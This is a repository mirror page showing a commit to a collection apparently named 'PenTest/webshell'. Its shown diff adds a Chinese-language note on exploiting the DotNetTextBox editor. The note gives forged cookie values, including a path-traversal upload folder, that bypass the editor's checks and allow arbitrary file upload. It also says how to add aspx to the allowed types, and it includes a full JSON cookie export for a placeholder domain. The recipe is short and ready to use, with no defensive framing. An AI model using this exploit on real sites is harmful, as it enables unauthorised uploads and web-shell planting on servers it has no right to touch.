PenTest/webshell
1
0
Fork 0
mirror of https://github.com/tennc/webshell.git synced 2025-12-09 14:11:30 +00:00
Code Issues Projects Releases Wiki Activity

update aspx

Browse Source
This commit is contained in:
tennc
2013-06-05 17:40:52 +08:00
parent 9258cfc622
commit d267416af6
7 changed files with 4511 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

64
other/DotNetTextBox-bug Normal file
View File

@@ -0,0 +1,64 @@
DotNetTextBox编辑器漏洞
修改cookie为：
cookie:UserType=0; IsEdition=0; Info=1; uploadFolder=../system_dntb/;
之后浏览 xxx.com/system_dntb/uploadFile.aspx/uploadFile.aspx
即可上传
如不行 则在system_dntb/Advanced.aspx添加 aspx or别的类型
[{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "UserType",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "0"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "IsEdition",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "0"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "Info",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "1"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "uploadFolder",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "../system_dntb/"
}]